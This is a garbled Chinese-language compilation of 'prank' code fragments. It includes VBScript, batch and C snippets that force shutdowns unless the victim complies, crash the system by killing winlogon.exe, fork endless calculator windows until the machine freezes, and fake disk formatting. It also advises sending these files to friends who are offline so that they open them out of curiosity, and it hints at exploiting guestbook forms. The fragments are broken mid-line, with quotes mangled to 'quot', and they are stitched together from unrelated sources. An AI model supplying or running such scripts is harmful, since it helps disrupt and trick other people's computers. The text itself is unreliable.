第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。
我的世界恶搞整人指令如下1指令 nick ID名称给某人改一个名，ID是加白名单的名字2backup运行备份命令3fireball发射一个火球会破坏方块4heal name治疗某人5invsee name查看某人的包。
msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quotwindows发现一重要更新，将自动下载quotwscriptsleep 3000 msgbox quot系统检测到WINDOWS更新中捆绑有不明插件SXSexe。
代码一无限弹出信息框 双引号内可以自行修改do msgbox quot爱邱哥爱生活quot loop 代码二打开N个计算器，到电脑死机et wsh=createobjectquotwscriptshellquot do wshrun quotcalcquot loop 代码三电脑关机dim WSHshell set WSHshell = wscript。
蓝屏msgbox quot我想要你蓝屏，哈哈quotSet ws = CreateObjectquotWscriptShellquotwscriptsleep 1200 wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide set ob=wscriptcreateobject。
echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color。
color 1f echo off title 最好别关本程序否则后果自负！echo 你中招了！echo 处理器异常！ping n 4 nul echoecho 正在移除C盘echoping n 4 nul echo 正在移除D盘echo。
恶意的代码其实很简单的，就看做那网站的细致不，比如可以在留言版那里漏空子留言版的流程一般是留言先通过表单传到数据库，再从数据库 显示到页面，在浏览器上看到如果作者没设置些东西，你留言的内容将完整显示在你面前。
includequotstdiohquotint mainint nchar a10printfquot叫大哥，不叫就关机你有30秒的时间，如果关闭本程序一样要关机\nquotsystemquotshutdown rquotwhile1printfquot叫quotscanfquot%squot，an=strcmpa。
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了还有个更加恶毒的，不在线的好友你可以向他们发送离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了 打开以后就被炸弹恶搞了 你自己。
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot正在。
简单好玩的编程代码如下所示gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscript。
取得系统毫秒数很随机Private Declare Function GetTickCount Lib quotkernel32quot As Long Dim hMsgBox As Long， xPoint As Long， yPoint As Long Dim stMsgBoxRect As RECT， stParentRect As RECT Dim msg10 As。
